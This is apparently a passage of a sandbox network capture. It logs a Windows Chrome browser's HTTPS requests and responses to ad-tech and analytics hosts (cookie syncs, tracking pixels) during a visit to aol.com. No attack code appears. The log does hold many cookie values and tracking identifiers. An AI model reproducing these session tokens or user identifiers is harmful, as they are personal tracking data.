2024-05-23 22:35:17 UTC	902	OUT	GET /cookie-sync?gdpr=0&gdpr=0&bee_sync_partners=pm&bee_sync_current_partner=sas&bee_sync_initiator=adx&bee_sync_hop_count=3&userid=8330378466080050028&gdpr=0&gdpr_consent= HTTP/1.1 Host: match.prod.bidr.io Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: bito=AANRF07Mn4kAABWNJQroRw; bitoIsSecure=ok
2024-05-23 22:35:18 UTC	468	IN	HTTP/1.1 303 See Other Date: Thu, 23 May 2024 22:35:18 GMT location: https://image2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMyOTcmdGw9MTI5NjAw&piggybackCookie=AANRF07Mn4kAABWNJQroRw&gdpr=0&gdpr_consent= Server: gunicorn set-cookie: bito=AANRF07Mn4kAABWNJQroRw; Domain=bidr.io; expires=Sun, 22 Jun 2025 18:35:18 GMT; Path=/; SameSite=None; Secure strict-transport-security: max-age=2592000; includeSubDomains Content-Length: 0 Connection: Close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
728	192.168.2.6	50575	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:17 UTC	1591	OUT	POST /p?s=1197805788&t=OAZBlOYZCC5XrFRu,0.3096746029328774&_I=&_AO=0&_NOL=0&_R=https%3A%2F%2Fwww.aol.com%2F&_P=3.56.0%05_a1s%03d%3DAQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA%26S%3DAQAAAlZERX4fw-TDfZvF5VfUwFg%04_pl%031%04A_v%033.56.0%04A_cn%03ANALYTICS-EVERGREEN-PROD%04_bt%03rapid%04A_pr%03https%04A_tzoff%03-4%04A_sid%03tz1MVjy1Xl4yWBPq%04_w%03membernotifications.aol.com%2Foffers%2FaolHomepage%2FstickyFooter%3Fncid%3Dmbr_rusacqdsp00000691%04st_sec%03us.dispatcher%04pt%03utility%04ver%03lca%04expn%03interstitial%04navtype%03client%04ncid%03mbr_rusacqdsp00000691%04etrg%03hide%04outcm%03window%04usergenf%031%04etag%03dwell%2Cstop%04A_jse%03document.visibilitychange%04A_prets%031716503712%04A_prems%03258%04_E%03dwell%04_ts%031716503712%04_ms%03281%04A_sr%031280x1024%04A_vr%031280x984%04A_do%031%04A_ib%031263x102%04A_ob%031280x984%04A_srr%031 HTTP/1.1 Host: 3p-geo.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://membernotifications.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://membernotifications.aol.com/offers/aolHomepage/stickyFooter Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8
2024-05-23 22:35:18 UTC	731	IN	HTTP/1.1 200 OK date: Thu, 23 May 2024 22:35:17 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 1 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Set-Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:35:17 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly
2024-05-23 22:35:18 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
729	192.168.2.6	50585	185.89.210.153	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:17 UTC	1131	OUT	GET /getuid?https%3A%2F%2Feb2.3lift.com%2Fxuid%3Fmid%3D3335%26xuid%3D%24UID%26dongle%3D4d58%26gdpr=0%26gdpr_consent= HTTP/1.1 Host: ib.adnxs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eb2.3lift.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XANDR_PANID=l9feJkDQllA9othKr8ID1vtALy-eG1am64URWo-Hh-HIRPRtJa12ojMlnucbuX1rmNMYn4_yirbzWHGXYPJIXmCPnOsC-rBVbIigEVijp24.; receive-cookie-deprecation=1; uuid2=9165965397510453586; anj=dTM7k!M40DF7/.XF']wIg2GU$idD1q!]tbP6j2F-.aDyjByG0>mcD53/l.RZ>LZqlI`sLCzK3/=q*JR:4=sB!$x_+7tgUd; uids=eyJ0ZW1wVUlEcyI6eyJydWJpY29uIjp7InVpZCI6IkxXSlRaQUJOLVgtSzRQVyIsImV4cGlyZXMiOiIyMDI0LTA4LTIxVDIyOjM1OjA5WiJ9fSwiYmlydGhkYXkiOiIyMDI0LTA1LTIzVDIyOjM1OjA5WiJ9
2024-05-23 22:35:18 UTC	1458	IN	HTTP/1.1 302 Found Server: nginx/1.23.4 Date: Thu, 23 May 2024 22:35:18 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness Location: https://eb2.3lift.com/xuid?mid=3335&xuid=9165965397510453586&dongle=4d58&gdpr=0&gdpr_consent= AN-X-Request-Uuid: fb36c33d-c148-4758-a1c7-ce2c6fe52df2 Set-Cookie: XANDR_PANID=l9feJkDQllA9othKr8ID1vtALy-eG1am64URWo-Hh-HIRPRtJa12ojMlnucbuX1rmNMYn4_yirbzWHGXYPJIXmCPnOsC-rBVbIigEVijp24.; SameSite=None; Path=/; Max-Age=7776000; Expires=Wed, 21-Aug-2024 22:35:18 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Thu, 11-May-2034 22:35:18 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uuid2=9165965397510453586; SameSite=None; Path=/; Max-Age=7776000; Expires=Wed, 21-Aug-2024 22:35:18 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 8.46.123.175; 8.46.123.175; 943.bm-nginx-loadbalancer.mgmt.ams3.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
730	192.168.2.6	50581	64.227.64.62	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:17 UTC	740	OUT	GET /pubmaticmatch?redir=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMwNjImdGw9MTI5NjAw&piggybackCookie=uid:$UID&gdpr=0&gdpr_consent= HTTP/1.1 Host: match.adsby.bidtheatre.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:18 UTC	517	IN	HTTP/1.1 302 302 Date: Thu, 23 May 2024 22:35:17 GMT Server: Apache P3P: policyref="/w3c/p3p.xml", CP="DSP NON LAW OUR CUR DEVo PSAo PSDo IND STA NAV COM INT" Set-Cookie: __kuid=43284586-fe07-4c17-87a1-9cb2bf3db0d7.485717717; Max-Age=604800; Domain=.adsby.bidtheatre.com; SameSite=None; Secure Location: https://simage2.pubmatic.com/AdServer/Pug?gdpr_consent=&gdpr=0&piggybackCookie=uid:43284586-fe07-4c17-87a1-9cb2bf3db0d7&vcode=bz0yJnR5cGU9MSZjb2RlPTMwNjImdGw9MTI5NjAw Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
731	192.168.2.6	50571	46.228.174.117	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:17 UTC	802	OUT	GET /usersync2/pubmatic&gdpr=0&gdpr_consent= HTTP/1.1 Host: sync.1rx.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _rxuuid=%7B%22rx_uuid%22%3A%22RX-7c64f7b4-7a90-45eb-91ae-af76e523d963-003%22%7D
2024-05-23 22:35:18 UTC	683	IN	HTTP/1.1 302 Found date: Thu, 23 May 2024 22:35:17 GMT content-type: text/html transfer-encoding: chunked cache-control: no-store, no-cache, must-revalidate expires: 0 pragma: no-cache set-cookie: _rxuuid=%7B%22rx_uuid%22%3A%22RX-7c64f7b4-7a90-45eb-91ae-af76e523d963-003%22%2C%22zdxidn%22%3A%221508%22%2C%22nxtrdr%22%3Afalse%7D; path=/; expires=Fri, 23 May 2025 22:35:17 GMT; domain=.1rx.io; samesite=none; secure; httponly p3p: CP="This is not a P3P policy! See https://www.rhythmone.com/p3p to learn why" location: https://match.adsrvr.org/track/cmf/generic?ttd_pid=adconductor&ttd_tpi=1&rndcb=6503998404 etag: RX7c64f7b47a9045eb91aeaf76e523d963003 connection: close
2024-05-23 22:35:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
732	192.168.2.6	50578	87.248.119.252	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:17 UTC	1935	OUT	GET /setuid?bidder=pubmatic&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&f=b&uid=BD0DE19C-09D4-4B62-A188-46A0D2E6C177 HTTP/1.1 Host: pbs.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; tbla_id=e0f330c0-9211-4554-a7eb-a08a7a35420f-tuctd494a14; axids=gam=y-QM7g1aNE2uJx8P1wgixkZr9U8llKQOEG~A&dv360=eS1DRVBhdFY1RTJ1SExXeFFKWHJsbzM0eHJ5amtROU9CNH5B&ydsp=y-Q1anlJpE2uLNXvog9cXvHne26mx9Lj2d~A&tbla=y-hQJOddZE2uJ.k4E_AdFKaRd4VpIL_y_h~A; uids=eyJ0ZW1wVUlEcyI6eyJndW1ndW0iOnsidWlkIjoiZV8xMmVhMWRkMi03N2YwLTQ5ZDgtOGFlZi05MDc2OGUxMmQ3YWMiLCJleHBpcmVzIjoiMjAyNC0wNi0wNlQyMjozNTowMS4wNjMzNTMxNFoifSwib3BlbngiOnsidWlkIjoiMTY5MGM1ODUtMWU1MC00ZGE4LThhYTItNjdiYWZiM2E5NWRiIiwiZXhwaXJlcyI6IjIwMjQtMDYtMDZUMjI6MzU6MTcuMDA0MDEyNTkxWiJ9LCJydWJpY29uIjp7InVpZCI6IkxXSlRaQUJOLVgtSzRQVyIsImV4cGlyZXMiOiIyMDI0LTA2LTA2VDIyOjM1OjA2Ljg5MDMyMDEyOVoifSwic29ub2JpIjp7InVpZCI6IjNlNjk5MTVhLWFhODEtNDUzYy04YmU2LTYyMWFmNzE1MGY0MSIsImV4cGlyZXMiOiIyMDI0LTA2LTA2VDIyOjM1OjEzLjU2Njg2NTg4OVoifSwidHRkIjp7InVpZCI6IjNlMDc3YmI0LWJmNGEtNGMxOS05MzNlLWM5OGRkZDg4MTQyZSIsImV4cGlyZXMiOiIyMDI0LTA2LTA2VDIyOjM1OjA0LjY5NTM4MDY5NFoifSwidW5ydWx5Ijp7InVpZCI [TRUNCATED]
2024-05-23 22:35:18 UTC	1204	IN	HTTP/1.1 200 OK content-type: text/html set-cookie: uids=eyJ0ZW1wVUlEcyI6eyJndW1ndW0iOnsidWlkIjoiZV8xMmVhMWRkMi03N2YwLTQ5ZDgtOGFlZi05MDc2OGUxMmQ3YWMiLCJleHBpcmVzIjoiMjAyNC0wNi0wNlQyMjozNTowMS4wNjMzNTMxNFoifSwib3BlbngiOnsidWlkIjoiMTY5MGM1ODUtMWU1MC00ZGE4LThhYTItNjdiYWZiM2E5NWRiIiwiZXhwaXJlcyI6IjIwMjQtMDYtMDZUMjI6MzU6MTcuMDA0MDEyNTkxWiJ9LCJwdWJtYXRpYyI6eyJ1aWQiOiJCRDBERTE5Qy0wOUQ0LTRCNjItQTE4OC00NkEwRDJFNkMxNzciLCJleHBpcmVzIjoiMjAyNC0wNi0wNlQyMjozNToxOC4wMzkxODA1MjhaIn0sInJ1Ymljb24iOnsidWlkIjoiTFdKVFpBQk4tWC1LNFBXIiwiZXhwaXJlcyI6IjIwMjQtMDYtMDZUMjI6MzU6MDYuODkwMzIwMTI5WiJ9LCJzb25vYmkiOnsidWlkIjoiM2U2OTkxNWEtYWE4MS00NTNjLThiZTYtNjIxYWY3MTUwZjQxIiwiZXhwaXJlcyI6IjIwMjQtMDYtMDZUMjI6MzU6MTMuNTY2ODY1ODg5WiJ9LCJ0dGQiOnsidWlkIjoiM2UwNzdiYjQtYmY0YS00YzE5LTkzM2UtYzk4ZGRkODgxNDJlIiwiZXhwaXJlcyI6IjIwMjQtMDYtMDZUMjI6MzU6MDQuNjk1MzgwNjk0WiJ9LCJ1bnJ1bHkiOnsidWlkIjoiUlgtN2M2NGY3YjQtN2E5MC00NWViLTkxYWUtYWY3NmU1MjNkOTYzLTAwMyIsImV4cGlyZXMiOiIyMDI0LTA2LTA2VDIyOjM1OjE0Ljg1ODgwNjMyNloifX19; Path=/; Domain=pbs.yahoo.com; Expires=Thu, 21 Nov 2024 22:35:18 GMT; HttpOnly; Se [TRUNCATED] vary: Origin content-length: 0 date: Thu, 23 May 2024 22:35:18 GMT x-envoy-upstream-service-time: 1 server: ATS
2024-05-23 22:35:18 UTC	408	IN	Data Raw: 78 2d 65 6e 76 6f 79 2d 64 65 63 6f 72 61 74 6f 72 2d 6f 70 65 72 61 74 69 6f 6e 3a 20 70 62 73 2d 2d 70 72 6f 64 75 63 74 69 6f 6e 2d 65 75 77 65 31 2e 6d 65 64 69 61 70 6c 61 74 66 6f 72 6d 2d 67 63 70 2d 70 72 6f 64 2d 6d 6f 6e 65 74 69 7a 61 74 69 6f 6e 2e 73 76 63 2e 63 6c 75 73 74 65 72 2e 6c 6f 63 61 6c 3a 34 30 38 30 2f 2a 0d 0a 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 6e 6f 2d 72 65 66 65 72 72 65 72 2d 77 68 65 6e 2d 64 6f 77 6e 67 72 61 64 65 0d 0a 41 67 65 3a 20 30 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 0d 0a 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 Data Ascii: x-envoy-decorator-operation: pbs--production-euwe1.mediaplatform-gcp-prod-monetization.svc.cluster.local:4080/*Referrer-Policy: no-referrer-when-downgradeAge: 0Connection: closeStrict-Transport-Security: max-age=31536000Expect-CT: max-age=315360

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
733	192.168.2.6	50584	178.250.1.9	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:17 UTC	837	OUT	GET /dis/usersync.aspx?r=44&p=75&cp=triplelift&cu=1&gdpr=0&gdpr_consent=&us_privacy=1YNN&gpp=${GPP_STRING_28}&gpp_sid=&url=https%3A%2F%2Feb2.3lift.com%2Fxuid%3Fmid%3D2711%26xuid%3D%40%40CRITEO_USERID%40%40%26dongle%3D013b HTTP/1.1 Host: dis.criteo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eb2.3lift.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uid=1f5a2429-5a10-4b50-95d0-3435c16ad1ac
2024-05-23 22:35:18 UTC	475	IN	HTTP/1.1 302 Found content-length: 0 date: Thu, 23 May 2024 22:35:17 GMT server: Kestrel location: https://widget.us.criteo.com/dis/usersync.aspx?r=44&p=75&cp=triplelift&cu=1&gdpr=0&gdpr_consent=&us_privacy=1YNN&gpp=$%7BGPP_STRING_28%7D&gpp_sid=&url=https%3A%2F%2Feb2.3lift.com%2Fxuid%3Fmid%3D2711%26xuid%3D%40%40CRITEO_USERID%40%40%26dongle%3D013b server-processing-duration-in-ticks: 135185 strict-transport-security: max-age=31536000; preload; connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
734	192.168.2.6	50583	142.250.184.226	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:17 UTC	874	OUT	GET /pixel?google_nid=eye&google_cm&google_sc&google_hm=MnpRWjVhTWtJRzIwS1dBVTl5WWNUTTM5MWk5eTFmUDFqaGFFRXlvTkFFODQ&gdpr=0&gdpr_consent=&uid=1&bid=gdo9o51&newuser=1&dc_rc=1&dc_mr=5&dc_orig=3b2cb90&&referrer_pid=3b2cb90 HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUly4VaqSUudDbFxZ6i8f3wSstck2G-xsKi1H5Ki1wSrQCD5aU-nM8msFXEJKzk
2024-05-23 22:35:18 UTC	752	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Location: https://ps.eyeota.net/match?gdpr=0&gdpr_consent=&uid=1&bid=gdo9o51&newuser=1&dc_rc=1&dc_mr=5&dc_orig=3b2cb90&referrer_pid=3b2cb90&google_gid=CAESECdmKSST8ExrZlHjAi0CNto&google_cver=1 Date: Thu, 23 May 2024 22:35:18 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Content-Type: text/html; charset=UTF-8 Server: HTTP server (unknown) Content-Length: 419 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-23 22:35:18 UTC	419	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 70 73 2e 65 79 65 6f 74 61 2e 6e 65 74 2f 6d 61 74 63 68 3f 67 64 70 72 3d 30 26 61 6d 70 3b 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 26 61 6d 70 3b 75 69 64 3d 31 26 61 6d 70 3b 62 69 64 3d 67 64 6f 39 6f 35 31 26 61 6d 70 3b 6e 65 77 75 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://ps.eyeota.net/match?gdpr=0&gdpr_consent=&uid=1&bid=gdo9o51&newu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
735	192.168.2.6	50588	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:17 UTC	1607	OUT	POST /p?s=1197803361&t=E5tgwfyImm0Q4TYJ,0.9270373823483276&_I=&_AO=0&_NOL=1&_R=&_P=3.56.0%05_a1s%03d%3DAQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA%26S%3DAQAAAlZERX4fw-TDfZvF5VfUwFg%04_pl%031%04A_v%033.56.0%04A_cn%03ANALYTICS-EVERGREEN-PROD%04test%03aol-acookie-control%2Caol-aa-1%04_bt%03rapid%04A_pr%03https%04A_tzoff%03-4%04A_sid%03Fl1XNsPA7N12cgoJ%04_w%03www.aol.com%2F%04navtype%03server%04st_sec%03us.aolportal%04ver%03td-app-aol%04pl2%03amp-bon%04pt%03home%04p_sec%03AOL%04p_subsec%03homepage%04layout%03aolgrid%04pct%03aol%04site%03aol%04mrkt%03us%04lang%03en-US%04colo%03eu-west-1%04_yrid%0330rmpplj4vh3m%04_rid%0330rmpplj4vh3m%04abk%03%04etrg%03show%04outcm%03window%04usergenf%031%04etag%03dwell%2Cstart%04A_jse%03document.visibilitychange%04A_prets%031716503705%04A_prems%03871%04_E%03dwell%04_ts%031716503705%04_ms%03960%04A_sr%031280x1024%04A_vr%031280x984%04A_do%031%04A_ib%031280x907%04A_ob%031280x984%04A_srr%031 HTTP/1.1 Host: 3p-geo.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8
2024-05-23 22:35:18 UTC	731	IN	HTTP/1.1 200 OK date: Thu, 23 May 2024 22:35:18 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 0 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Set-Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:35:18 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly
2024-05-23 22:35:18 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
736	192.168.2.6	50589	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
